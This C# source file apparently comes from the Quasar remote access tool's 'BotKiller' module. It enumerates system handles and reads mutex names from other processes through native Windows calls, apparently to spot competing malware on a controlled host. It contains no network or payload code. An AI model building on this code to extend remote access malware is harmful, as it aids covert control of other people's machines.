using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
using System.Threading.Tasks;

namespace Quasar.Client.BotKiller
{
    public class MutexScanner
    {
        private const int QUERY_TIMEOUT_MS = 100; // Timeout for each handle query

        public static List<string> GetProcessMutexes(Process process)
        {
            List<string> mutexList = new List<string>();
            int nHandleInfoSize = 0x10000;
            IntPtr ipHandlePointer = Marshal.AllocHGlobal(nHandleInfoSize);
            int nLength = 0;

            try
            {
                while (Win32API.NtQuerySystemInformation(16, ipHandlePointer, nHandleInfoSize, ref nLength) == Win32API.STATUS_INFO_LENGTH_MISMATCH)
                {
                    nHandleInfoSize = nLength;
                    Marshal.FreeHGlobal(ipHandlePointer);
                    ipHandlePointer = Marshal.AllocHGlobal(nLength);
                }

                long lHandleCount;
                IntPtr ipHandle;

                if (Is64Bits())
                {
                    lHandleCount = Marshal.ReadInt64(ipHandlePointer);
                    ipHandle = new IntPtr(ipHandlePointer.ToInt64() + 8);
                }
                else
                {
                    lHandleCount = Marshal.ReadInt32(ipHandlePointer);
                    ipHandle = new IntPtr(ipHandlePointer.ToInt32() + 4);
                }

                int processHandleCount = 0;
                for (long i = 0; i < lHandleCount; i++)
                {
                    try
                    {
                        Win32API.SYSTEM_HANDLE_INFORMATION shHandle = new Win32API.SYSTEM_HANDLE_INFORMATION();

                        if (Is64Bits())
                        {
                            shHandle = (Win32API.SYSTEM_HANDLE_INFORMATION)Marshal.PtrToStructure(ipHandle, typeof(Win32API.SYSTEM_HANDLE_INFORMATION));
                            ipHandle = new IntPtr(ipHandle.ToInt64() + Marshal.SizeOf(typeof(Win32API.SYSTEM_HANDLE_INFORMATION)) + 8);
                        }
                        else
                        {
                            ipHandle = new IntPtr(ipHandle.ToInt64() + Marshal.SizeOf(typeof(Win32API.SYSTEM_HANDLE_INFORMATION)));
                            shHandle = (Win32API.SYSTEM_HANDLE_INFORMATION)Marshal.PtrToStructure(ipHandle, typeof(Win32API.SYSTEM_HANDLE_INFORMATION));
                        }

                        if (shHandle.ProcessID != process.Id)
                            continue;

                        processHandleCount++;
                        
                        // Limit handles per process to prevent hanging
                        if (processHandleCount > 500)
                            break;

                        string mutexName = GetMutexNameWithTimeout(shHandle, process);
                        if (!string.IsNullOrEmpty(mutexName))
                        {
                            // Filter out Windows system mutexes
                            if (mutexName.Contains("WilStaging_") || mutexName.Contains("WilError_"))
                                continue;

                            mutexList.Add(mutexName);
                        }
                    }
                    catch { }
                }
            }
            catch { }
            finally
            {
                Marshal.FreeHGlobal(ipHandlePointer);
            }

            return mutexList;
        }

        private static string GetMutexNameWithTimeout(Win32API.SYSTEM_HANDLE_INFORMATION shHandle, Process process)
        {
            string result = null;
            var task = Task.Run(() =>
            {
                try
                {
                    result = GetMutexName(shHandle, process);
                }
                catch { }
            });

            if (!task.Wait(QUERY_TIMEOUT_MS))
            {
                // Timeout - skip this handle
                return null;
            }

            return result;
        }

        private static string GetMutexName(Win32API.SYSTEM_HANDLE_INFORMATION shHandle, Process process)
        {
            IntPtr m_ipProcessHwnd = IntPtr.Zero;
            IntPtr ipHandle = IntPtr.Zero;
            IntPtr ipBasic = IntPtr.Zero;
            IntPtr ipObjectName = IntPtr.Zero;

            try
            {
                m_ipProcessHwnd = Win32API.OpenProcess(Win32API.ProcessAccessFlags.DupHandle, false, process.Id);
                if (m_ipProcessHwnd == IntPtr.Zero)
                    return null;

                if (!Win32API.DuplicateHandle(m_ipProcessHwnd, shHandle.Handle, Win32API.GetCurrentProcess(), out ipHandle, 0, false, Win32API.DUPLICATE_SAME_ACCESS))
                    return null;

                Win32API.OBJECT_BASIC_INFORMATION objBasic = new Win32API.OBJECT_BASIC_INFORMATION();
                ipBasic = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(Win32API.OBJECT_BASIC_INFORMATION)));
                int nLength = 0;

                int result = Win32API.NtQueryObject(ipHandle, 0, ipBasic, Marshal.SizeOf(typeof(Win32API.OBJECT_BASIC_INFORMATION)), ref nLength);
                if (result != 0)
                {
                    Marshal.FreeHGlobal(ipBasic);
                    return null;
                }

                objBasic = (Win32API.OBJECT_BASIC_INFORMATION)Marshal.PtrToStructure(ipBasic, typeof(Win32API.OBJECT_BASIC_INFORMATION));
                Marshal.FreeHGlobal(ipBasic);
                ipBasic = IntPtr.Zero;

                if (objBasic.NameInformationLength <= 0 || objBasic.NameInformationLength > 65536)
                    return null;

                nLength = objBasic.NameInformationLength;
                ipObjectName = Marshal.AllocHGlobal(nLength);

                // Try to query object name with retry limit
                int retries = 0;
                while ((result = Win32API.NtQueryObject(ipHandle, 1, ipObjectName, nLength, ref nLength)) == -1073741820 && retries < 3)
                {
                    Marshal.FreeHGlobal(ipObjectName);
                    if (nLength <= 0 || nLength > 65536)
                        return null;
                    ipObjectName = Marshal.AllocHGlobal(nLength);
                    retries++;
                }

                if (result != 0)
                {
                    Marshal.FreeHGlobal(ipObjectName);
                    return null;
                }

                Win32API.OBJECT_NAME_INFORMATION objObjectName = (Win32API.OBJECT_NAME_INFORMATION)Marshal.PtrToStructure(ipObjectName, typeof(Win32API.OBJECT_NAME_INFORMATION));

                IntPtr ipTemp;
                if (Is64Bits())
                    ipTemp = new IntPtr(Convert.ToInt64(objObjectName.Name.Buffer.ToString(), 10) >> 32);
                else
                    ipTemp = objObjectName.Name.Buffer;

                if (ipTemp != IntPtr.Zero && objObjectName.Name.Length > 0)
                {
                    string name = Marshal.PtrToStringUni(ipTemp, objObjectName.Name.Length / 2);
                    Marshal.FreeHGlobal(ipObjectName);
                    ipObjectName = IntPtr.Zero;

                    // Extract mutex name from full path
                    if (!string.IsNullOrEmpty(name) && name.Contains("\\"))
                    {
                        string[] parts = name.Split('\\');
                        if (parts.Length > 4)
                            return parts[4];
                    }
                    return name;
                }

                if (ipObjectName != IntPtr.Zero)
                    Marshal.FreeHGlobal(ipObjectName);
            }
            catch { }
            finally
            {
                if (ipBasic != IntPtr.Zero)
                    Marshal.FreeHGlobal(ipBasic);
                if (ipObjectName != IntPtr.Zero)
                    Marshal.FreeHGlobal(ipObjectName);
                if (ipHandle != IntPtr.Zero)
                    Win32API.CloseHandle(ipHandle);
                if (m_ipProcessHwnd != IntPtr.Zero)
                    Win32API.CloseHandle(m_ipProcessHwnd);
            }

            return null;
        }

        private static bool Is64Bits()
        {
            return Marshal.SizeOf(typeof(IntPtr)) == 8;
        }
    }
}
